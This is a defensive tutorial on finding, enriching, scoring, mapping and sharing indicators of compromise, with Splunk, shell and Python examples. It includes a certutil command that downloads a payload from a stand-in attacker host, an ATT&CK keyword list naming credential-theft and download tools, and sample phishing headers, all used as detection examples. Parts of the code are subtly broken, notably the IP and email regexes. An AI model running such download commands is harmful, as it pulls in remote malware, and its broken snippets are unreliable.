Introduction: What Is an IOC?

An Indicator of Compromise (IOC) is a forensic artifact observed on a network or host that, with high confidence, indicates a computer intrusion or malicious activity. IOCs are the bread and butter of threat intelligence sharing, incident response, and proactive threat hunting.

Unlike Indicators of Attack (IOAs) — which describe behavior — IOCs describe evidence left behind. Think of them as digital fingerprints at a crime scene.


IOC types at a glance

Type Example Volatility
File hash (MD5/SHA1/SHA256) d41d8cd98f00b204e9800998ecf8427e Low
IP address 185.220.101.45 High
Domain name update-cdn-secure.com Medium
URL https://evil.ru/gate.php?id=victim Medium
Email address [email protected] Medium
Registry key HKCU\Software\Microsoft\Windows\Run\svchost32 Low
Mutex Global\MicrosoftWindowsUpdateMutex Low
User-Agent string Mozilla/5.0 (compatible; MSIE 6.0) Medium
SSL certificate hash SHA1: AA:BB:CC:... Low
Network signature GET /c2/checkin HTTP/1.1 Medium

The Pyramid of Pain (David Bianco, 2013): File hashes are at the bottom — trivial for attackers to change. TTPs are at the top — expensive to change. Always aim to extract IOCs as high up the pyramid as possible.



Step 1 — Collection: Where Do IOCs Come From?

Before you can analyze an IOC, you need to find it. Sources fall into two categories.


Internal sources (your own environment)

SIEM alerts           → Splunk, Elastic, Microsoft Sentinel
EDR telemetry         → CrowdStrike, SentinelOne, Defender for Endpoint
Firewall / proxy logs → Palo Alto, Zscaler, Squid
DNS logs              → Windows DNS debug logs, Zeek dns.log
Email gateway         → Proofpoint, Mimecast headers + attachments
Memory dump           → Volatility, WinPmem output
Disk image            → dd, FTK Imager acquisition
Network capture       → .pcap from Wireshark / tcpdump / Zeek

External sources (threat intelligence feeds)

Free / open:
  - AlienVault OTX        → otx.alienvault.com
  - Abuse.ch (URLhaus, MalwareBazaar, Feodo, ThreatFox)
  - Shodan                → shodan.io
  - VirusTotal            → virustotal.com
  - MalwareBazaar         → bazaar.abuse.ch
  - MISP communities      → misp-project.org

Commercial:
  - Recorded Future
  - Mandiant Advantage
  - CrowdStrike Falcon X
  - Mlab.sh               → mlab.sh (IP, domain, hash, crypto scanning)

Practical example — extracting IOCs from a SIEM alert

# Splunk: extract all unique IPs from a suspicious process alert
index=windows EventCode=4688 New_Process_Name="*powershell*"
| rex field=Command_Line "(?P<ip>\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b)"
| stats count by ip, host, user
| sort -count

# Extract domains from proxy logs
index=proxy
| rex field=url "https?://(?P<domain>[^/]+)"
| where NOT match(domain, "^(.*\.microsoft\.com|.*\.windows\.com)$")
| stats count by domain
| sort -count


Step 2 — Triage: Is This IOC Worth Investigating?

Not every IOC deserves the same level of attention. Triage prevents alert fatigue.


The 3-question triage framework

1. Is it in scope? Does this IOC appear in your environment (your IP ranges, your users, your endpoints)?

2. Is it known-bad? Check against threat feeds immediately. A hash matching a known Emotet dropper is an instant P1.

3. What is the blast radius? How many assets are potentially affected? One endpoint vs. 500 is a very different incident.


Scoring model example

def triage_score(ioc: dict) -> int:
    score = 0

    # Source reliability (0-30)
    if ioc["source"] == "internal_siem":    score += 30
    elif ioc["source"] == "edr_alert":      score += 25
    elif ioc["source"] == "threat_feed":    score += 15

    # Feed corroboration (0-30)
    score += min(ioc.get("feed_hits", 0) * 5, 30)

    # IOC type weight (0-20)
    type_weights = {
        "hash": 20, "mutex": 18, "registry": 16,
        "domain": 12, "ip": 10, "url": 10, "email": 8
    }
    score += type_weights.get(ioc["type"], 5)

    # Asset criticality (0-20)
    if ioc.get("asset_criticality") == "critical": score += 20
    elif ioc.get("asset_criticality") == "high":   score += 12
    elif ioc.get("asset_criticality") == "medium":  score += 6

    return score  # 0-100; >= 70 = P1, 40-69 = P2, < 40 = monitor

# Example
sample = {
    "type": "hash",
    "source": "edr_alert",
    "feed_hits": 4,
    "asset_criticality": "critical"
}
print(triage_score(sample))  # → 91 → P1


Step 3 — Enrichment: Building Context Around the IOC

Raw IOCs are almost useless without context. Enrichment transforms a bare artifact into actionable intelligence.


3a. IP address enrichment

# Whois
whois 185.220.101.45

# ASN lookup
curl -s https://ipinfo.io/185.220.101.45/json | jq .

# Passive DNS (who has this IP resolved to?)
curl -s "https://api.mlab.sh/v1/ip/185.220.101.45" -H "X-API-Key: $MLAB_KEY" | jq .

# Shodan
curl -s "https://api.shodan.io/shodan/host/185.220.101.45?key=$SHODAN_KEY" | jq .

# Check Tor exit node / VPN / datacenter
curl -s https://check.torproject.org/cgi-bin/TorBulkExitList.py | grep 185.220.101.45

What to look for in the output:

{
  "ip": "185.220.101.45",
  "asn": "AS4134",
  "org": "Chinanet",
  "country": "CN",
  "city": "Beijing",
  "open_ports": [443, 8080, 4444],
  "tags": ["tor-exit", "proxy"],
  "last_seen_malicious": "2024-11-02",
  "feed_matches": ["Feodo", "EmergingThreats", "CINS"]
}

Red flags: datacenter ASN + no reverse DNS + Tor/VPN tag + multiple feed hits + port 4444 (Metasploit default).


3b. Domain enrichment

# WHOIS — check registration date (brand-new domains are suspicious)
whois update-cdn-secure.com | grep -E "Creation|Registrar|Name Server"

# DNS resolution history
dig +short update-cdn-secure.com A
dig +short update-cdn-secure.com MX
dig +short update-cdn-secure.com TXT

# Check all DNS record types
dig update-cdn-secure.com ANY

# Passive DNS via SecurityTrails (or VirusTotal)
curl -s "https://api.securitytrails.com/v1/domain/update-cdn-secure.com/dns/a" \
  -H "apikey: $ST_KEY" | jq .

# Certificate transparency — find subdomains
curl -s "https://crt.sh/?q=%.update-cdn-secure.com&output=json" | jq '.[].name_value' | sort -u

Domain analysis checklist:

  • Registered < 30 days ago → high suspicion
  • Registrar is Namecheap / GoDaddy + privacy guard → common for malicious infra
  • No MX records (not used for email) → pure C2 / phishing redirect
  • DGA-like pattern: xkqzwplt.com, a7f3b9d1.net → automated generation
  • Typosquatting: micros0ft-update.com, paypa1-secure.net
  • Subdomain abuse: login.paypal.com.phishing-site.ru

3c. File hash enrichment

import requests

def enrich_hash(sha256: str, vt_key: str) -> dict:
    url = f"https://www.virustotal.com/api/v3/files/{sha256}"
    headers = {"x-apikey": vt_key}
    r = requests.get(url, headers=headers)
    data = r.json()["data"]["attributes"]

    return {
        "name": data.get("meaningful_name", "unknown"),
        "type": data.get("type_description"),
        "size": data.get("size"),
        "first_seen": data.get("first_submission_date"),
        "last_seen": data.get("last_submission_date"),
        "detections": f"{data['last_analysis_stats']['malicious']} / {sum(data['last_analysis_stats'].values())}",
        "families": list(data.get("popular_threat_classification", {}).get("suggested_threat_label", "")),
        "tags": data.get("tags", []),
        "sandbox_verdict": data.get("sandbox_verdicts", {})
    }

result = enrich_hash("d85...sha256here...", "YOUR_VT_KEY")
print(result)
# → {'name': 'invoice_Q4.exe', 'type': 'Win32 EXE', 'detections': '58/72',
#    'families': ['emotet'], 'tags': ['spreader', 'trojan']}

3d. URL enrichment

# urlscan.io — safe browser-based scan
curl -s -X POST "https://urlscan.io/api/v1/scan/" \
  -H "API-Key: $URLSCAN_KEY" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://evil.ru/gate.php?id=victim", "visibility": "private"}' | jq .uuid

# Retrieve result (wait ~10s)
curl -s "https://urlscan.io/api/v1/result/$UUID/" | jq '{
  verdict: .verdicts.overall,
  ip: .page.ip,
  server: .page.server,
  redirects: [.data.requests[].response.redirectURL // empty],
  screenshot: .task.screenshotURL
}'

# Google Safe Browsing check
curl -s -X POST "https://safebrowsing.googleapis.com/v4/threatMatches:find?key=$GSB_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "client": {"clientId": "analyst", "clientVersion": "1.0"},
    "threatInfo": {
      "threatTypes": ["MALWARE","SOCIAL_ENGINEERING"],
      "platformTypes": ["ANY_PLATFORM"],
      "threatEntryTypes": ["URL"],
      "threatEntries": [{"url": "https://evil.ru/gate.php"}]
    }
  }' | jq .

3e. Email header analysis

Received: from smtp.facture-secure.com (185.220.101.45)
  by mx.victim.com with ESMTP id abc123
  for <[email protected]>; Mon, 4 Nov 2024 09:12:33 +0000
From: "DHL Delivery" <[email protected]>
Reply-To: [email protected]
X-Mailer: The Bat! 9.3 (Windows)
X-Originating-IP: 185.220.101.45
DKIM-Signature: v=1; a=rsa-sha256; d=facture-secure.com; ...

Red flags in this header:

  • Sending IP (185.220.101.45) matches known Feodo C2 list
  • Reply-To is a temp-mail address (credential harvesting)
  • X-Mailer: The Bat! — common in Eastern European phishing campaigns
  • Domain facture-secure.com registered 3 days prior
# Validate DKIM/SPF/DMARC
python3 -c "
import dns.resolver
domain = 'facture-secure.com'
for t in ['TXT']:
    try:
        ans = dns.resolver.resolve(f'_dmarc.{domain}', t)
        print('DMARC:', [r.to_text() for r in ans])
    except: print('No DMARC record — spoofing trivial')
"


Step 4 — Pivoting: From One IOC to Many

Pivoting is the art of using one confirmed IOC to discover related infrastructure, files, or actors. This is where threat hunting gets powerful.


Pivot strategies

Starting point        Pivot to                    Tool
────────────────────────────────────────────────────────────
IP address        →   Domains hosted on it        Shodan, RiskIQ, SecurityTrails
Domain            →   Historical IPs              VirusTotal, PassiveTotal
Domain            →   Subdomains                  crt.sh, Amass, SecurityTrails
SSL certificate   →   Other domains using it      Censys, Shodan
File hash         →   Related samples             VirusTotal "Similar files"
File hash         →   Dropped files               VirusTotal behavior sandbox
C2 URL pattern    →   Other C2 URLs               VirusTotal, URLhaus
Mutex             →   Other samples with mutex    MalwareBazaar YARA search
Registry key      →   Malware family              Google + VirusTotal
Email sender      →   Other campaigns             Hunter.io, VirusTotal

Practical pivot example — from one IP to an entire C2 cluster

import requests, json

SHODAN_KEY = "YOUR_KEY"
MLAB_KEY   = "YOUR_KEY"
seed_ip    = "185.220.101.45"

# Step 1: get open ports + banner from Shodan
r = requests.get(f"https://api.shodan.io/shodan/host/{seed_ip}?key={SHODAN_KEY}")
host = r.json()
ssl_fingerprint = host.get("ssl", {}).get("cert", {}).get("fingerprint", {}).get("sha256")
org = host.get("org")
print(f"SSL fingerprint: {ssl_fingerprint}")
print(f"Org: {org}")

# Step 2: find all IPs sharing the same SSL cert (Censys)
censys_url = "https://search.censys.io/api/v2/hosts/search"
query = f'services.tls.certificates.leaf_data.fingerprint="{ssl_fingerprint}"'
r2 = requests.post(censys_url,
    auth=("CENSYS_ID", "CENSYS_SECRET"),
    json={"q": query, "per_page": 25})
hits = r2.json().get("result", {}).get("hits", [])
related_ips = [h["ip"] for h in hits]
print(f"Related IPs sharing SSL cert: {related_ips}")

# Step 3: scan each related IP on Mlab.sh
for ip in related_ips:
    r3 = requests.get(f"https://api.mlab.sh/v1/ip/{ip}",
                      headers={"X-API-Key": MLAB_KEY})
    verdict = r3.json().get("verdict", "unknown")
    print(f"  {ip} → {verdict}")


Step 5 — Validation: Confirming True Positives

Enrichment tells you what the IOC might be. Validation tells you if it actually hit your environment.


Validate an IP hit in firewall logs

# Search Zeek conn.log for C2 IP
cat /var/log/zeek/conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p proto bytes \
  | awk '$3 == "185.220.101.45"' \
  | sort -k1

# Check for beaconing pattern (regular intervals = C2 heartbeat)
cat /var/log/zeek/conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p duration bytes \
  | awk '$3 == "185.220.101.45" {print $1}' \
  | awk 'NR>1{print $1-prev} {prev=$1}' \
  | sort | uniq -c | sort -rn | head
# Regular intervals (e.g. every 60s) = strong beaconing indicator

Validate a hash hit on endpoints (CrowdStrike RTR)

# CrowdStrike Real Time Response — search all hosts
falcon-rtr --command "filefind" --arguments "--path C:\ --hash d85abc..."

# Carbon Black — process search by hash
cbapi-live-response search --sha256 d85abc... --last 7d

Validate a domain in DNS logs

# Windows DNS debug log
Select-String -Path "C:\Windows\System32\dns\dns.log" -Pattern "update-cdn-secure"

# Zeek dns.log
cat /var/log/zeek/dns.log | zeek-cut ts id.orig_h query qtype_name answers \
  | grep "update-cdn-secure"

# Splunk query
index=dns query="*update-cdn-secure*"
| stats count by src_ip, query, answer
| sort -count


Step 6 — MITRE ATT&CK Mapping

Every confirmed IOC should be mapped to one or more ATT&CK techniques. This transforms isolated artifacts into tactical intelligence.


Common IOC → ATT&CK mappings

IOC type / behavior                          ATT&CK Technique
────────────────────────────────────────────────────────────────────────────
Encoded PowerShell in command line           T1059.001 - PowerShell
Scheduled task persistence key              T1053.005 - Scheduled Task
HKCU\Run registry key                       T1547.001 - Registry Run Keys
LSASS memory access (Mimikatz)              T1003.001 - LSASS Memory
Beaconing to C2 IP (regular interval)       T1071.001 - Web Protocols
DGA domain pattern                          T1568.002 - Domain Generation Algorithms
Base64-encoded payload in macro             T1027 - Obfuscated Files
Certutil used to download file              T1105 - Ingress Tool Transfer
vssadmin delete shadows                     T1490 - Inhibit System Recovery
WMI used for lateral movement               T1047 - Windows Management Instrumentation

Tagging IOCs programmatically

ATTACK_MAP = {
    "vssadmin": {"technique": "T1490", "tactic": "impact", "name": "Inhibit System Recovery"},
    "CreateRemoteThread": {"technique": "T1055", "tactic": "defense-evasion", "name": "Process Injection"},
    "certutil": {"technique": "T1105", "tactic": "command-and-control", "name": "Ingress Tool Transfer"},
    "LSASS": {"technique": "T1003.001", "tactic": "credential-access", "name": "LSASS Memory"},
    "schtasks": {"technique": "T1053.005", "tactic": "persistence", "name": "Scheduled Task"},
}

def map_to_attack(ioc_string: str) -> list:
    results = []
    for keyword, technique in ATTACK_MAP.items():
        if keyword.lower() in ioc_string.lower():
            results.append(technique)
    return results

print(map_to_attack("certutil.exe -urlcache -split -f http://evil.com/payload.exe"))
# → [{'technique': 'T1105', 'tactic': 'command-and-control', 'name': 'Ingress Tool Transfer'}]


Step 7 — Response and Containment

Once an IOC is confirmed, you need to act fast.


Response actions by IOC type

IOC type        Immediate action                   Long-term action
──────────────────────────────────────────────────────────────────────────
IP address      Block on firewall / proxy          Threat feed update, sinkhole
Domain          DNS sinkhole or block on resolver  WHOIS abuse report, registrar takedown
File hash       EDR quarantine + delete            YARA rule deployment, AV signature
URL             Proxy / web gateway block          urlscan.io report
Registry key    EDR remediation script             Persistence hunting across fleet
Email sender    Mail gateway block                 Abuse report, DMARC enforcement
Mutex           Memory scan across fleet           YARA rule (in-memory)

Automated block via firewall API

import requests

def block_ip_on_paloalto(ip: str, pa_host: str, api_key: str):
    # Add IP to dynamic address group
    payload = {
        "type": "config",
        "action": "set",
        "key": api_key,
        "xpath": "/config/devices/entry/vsys/entry[@name='vsys1']/address",
        "element": f"<entry name='block-{ip}'><ip-netmask>{ip}/32</ip-netmask></entry>"
    }
    r = requests.post(f"https://{pa_host}/api/", params=payload, verify=False)
    print(f"Block {ip}: {r.status_code}")

block_ip_on_paloalto("185.220.101.45", "pa.corp.local", "LUFRPT1...")

EDR mass quarantine (CrowdStrike Falcon)

from falconpy import Hosts, RealTimeResponse

hosts_api = Hosts(client_id="ID", client_secret="SECRET")
rtr_api   = RealTimeResponse(client_id="ID", client_secret="SECRET")

# Find all hosts where the hash was seen
result = hosts_api.query_devices_by_filter(
    filter=f"sha256_hash:'{malicious_hash}'"
)
host_ids = result["body"]["resources"]
print(f"Found {len(host_ids)} infected hosts")

# Contain them all
for host_id in host_ids:
    hosts_api.perform_action(action_name="contain", ids=[host_id])
    print(f"Contained: {host_id}")


Step 8 — Sharing and Reporting

Intelligence is only valuable when shared. Two key formats dominate the industry.


STIX 2.1 — structured threat intelligence

from stix2 import Indicator, Malware, Relationship, Bundle

# Create an indicator
indicator = Indicator(
    name="Emotet C2 IP",
    description="Confirmed Emotet C2 server observed Nov 2024",
    pattern_type="stix",
    pattern="[ipv4-addr:value = '185.220.101.45']",
    labels=["malicious-activity"],
    confidence=90
)

# Create associated malware object
malware = Malware(
    name="Emotet",
    is_family=True,
    malware_types=["trojan", "banker"]
)

# Link them
rel = Relationship(
    relationship_type="indicates",
    source_ref=indicator.id,
    target_ref=malware.id
)

bundle = Bundle(objects=[indicator, malware, rel])
print(bundle.serialize(pretty=True))

MISP event creation

from pymisp import ExpandedPyMISP, MISPEvent, MISPAttribute

api = ExpandedPyMISP("https://misp.corp/", "API_KEY", False)

event = MISPEvent()
event.info        = "Emotet campaign — November 2024 — Invoice lure"
event.distribution = 1  # community
event.threat_level_id = 1  # high
event.analysis    = 2  # completed

# Add attributes
iocs = [
    ("ip-dst",  "185.220.101.45"),
    ("domain",  "update-cdn-secure.com"),
    ("md5",     "d41d8cd98f00b204e9800998ecf8427e"),
    ("url",     "https://update-cdn-secure.com/invoice/Q4_2024.doc"),
    ("email-src", "[email protected]"),
]
for attr_type, value in iocs:
    attr = MISPAttribute()
    attr.type = attr_type
    attr.value = value
    attr.to_ids = True  # push to detection systems
    event.add_attribute(**attr)

created = api.add_event(event)
print(f"MISP event created: {created['Event']['id']}")


Step 9 — Complete Automated IOC Analysis Pipeline

Putting it all together: a single script that ingests an IOC, enriches it, scores it, maps it to ATT&CK, and outputs a structured report.

import requests, json, hashlib
from datetime import datetime

class IOCAnalyzer:
    def __init__(self, vt_key, mlab_key, shodan_key):
        self.vt_key     = vt_key
        self.mlab_key   = mlab_key
        self.shodan_key = shodan_key

    def detect_type(self, ioc: str) -> str:
        import re
        if re.match(r'^[a-f0-9]{32}$', ioc):  return "md5"
        if re.match(r'^[a-f0-9]{40}$', ioc):  return "sha1"
        if re.match(r'^[a-f0-9]{64}$', ioc):  return "sha256"
        if re.match(r'^d{1,3}(.d{1,3}){3}$', ioc): return "ip"
        if re.match(r'^https?://', ioc):       return "url"
        if re.match(r'^[^@]+@[^@]+.[^@]+$', ioc): return "email"
        return "domain"

    def enrich_ip(self, ip: str) -> dict:
        r = requests.get(f"https://ipinfo.io/{ip}/json")
        data = r.json()
        vt = requests.get(
            f"https://www.virustotal.com/api/v3/ip_addresses/{ip}",
            headers={"x-apikey": self.vt_key}
        ).json()
        malicious = vt.get("data", {}).get("attributes", {}) \
                      .get("last_analysis_stats", {}).get("malicious", 0)
        return {
            "asn": data.get("org"),
            "country": data.get("country"),
            "city": data.get("city"),
            "vt_malicious_engines": malicious,
            "is_datacenter": any(x in data.get("org","").lower()
                                 for x in ["hosting","cloud","datacenter","vps"])
        }

    def enrich_hash(self, sha256: str) -> dict:
        r = requests.get(
            f"https://www.virustotal.com/api/v3/files/{sha256}",
            headers={"x-apikey": self.vt_key}
        )
        attr = r.json().get("data", {}).get("attributes", {})
        stats = attr.get("last_analysis_stats", {})
        return {
            "name": attr.get("meaningful_name"),
            "type": attr.get("type_description"),
            "size": attr.get("size"),
            "detections": f"{stats.get('malicious',0)}/{sum(stats.values()) or 1}",
            "family": attr.get("popular_threat_classification", {})
                         .get("suggested_threat_label", "unknown"),
            "tags": attr.get("tags", [])
        }

    def score(self, enrichment: dict, ioc_type: str) -> int:
        score = 0
        if ioc_type in ("md5","sha1","sha256"):
            det = enrichment.get("detections","0/1")
            ratio = int(det.split("/")[0]) / max(int(det.split("/")[1]),1)
            score += int(ratio * 60)
        if ioc_type == "ip":
            score += enrichment.get("vt_malicious_engines", 0) * 3
            if enrichment.get("is_datacenter"): score += 20
        return min(score, 100)

    def analyze(self, ioc: str) -> dict:
        ioc_type   = self.detect_type(ioc)
        enrichment = {}
        if ioc_type == "ip":
            enrichment = self.enrich_ip(ioc)
        elif ioc_type == "sha256":
            enrichment = self.enrich_hash(ioc)

        risk_score = self.score(enrichment, ioc_type)
        severity   = "CRITICAL" if risk_score >= 80 else \
                     "HIGH"     if risk_score >= 60 else \
                     "MEDIUM"   if risk_score >= 40 else "LOW"

        return {
            "ioc": ioc,
            "type": ioc_type,
            "analyzed_at": datetime.utcnow().isoformat() + "Z",
            "enrichment": enrichment,
            "risk_score": risk_score,
            "severity": severity,
            "recommended_action": "BLOCK_IMMEDIATELY" if risk_score >= 80 else
                                  "MONITOR_AND_ALERT" if risk_score >= 40 else
                                  "WATCH_LIST"
        }

# Usage
analyzer = IOCAnalyzer("VT_KEY", "MLAB_KEY", "SHODAN_KEY")
report = analyzer.analyze("185.220.101.45")
print(json.dumps(report, indent=2))


Step 10 — Tooling Reference


Open-source tools

Tool Purpose Install
theHarvester OSINT / domain recon pip install theHarvester
Maltego CE Graph-based pivoting maltego.com
MISP IOC sharing platform misp-project.org
OpenCTI Threat intel platform opencti.io
Cortex Automated analysis thehive-project.org
Zeek Network traffic analysis zeek.org
Volatility 3 Memory forensics github.com/volatilityfoundation
Yara Pattern matching virustotal.github.io/yara
FLOSS String extraction (obfuscated) github.com/mandiant/flare-floss

API-based platforms

Platform Speciality Free tier
Mlab.sh IP, domain, hash, crypto IOC scan Yes
VirusTotal File, URL, domain, IP Yes (4 req/min)
Shodan Internet-wide port/banner scan Yes (limited)
Censys TLS cert pivot, host search Yes (250 req/month)
SecurityTrails Passive DNS, WHOIS history Yes (50 req/month)
urlscan.io Safe URL scanning Yes
AbuseIPDB IP reputation Yes


Resources

  • MITRE ATT&CK — attack.mitre.org
  • Mlab.sh — mlab.sh (detect IOC, scan IPs, domains, hashes, crypto)
  • OpenIOC — mandiant.com (IOC format specification)
  • STIX/TAXII — oasis-open.org (sharing standards)
  • The Pyramid of Pain — detect-respond.blogspot.com (David Bianco)
  • Threat Intelligence Handbook — recorded future free resource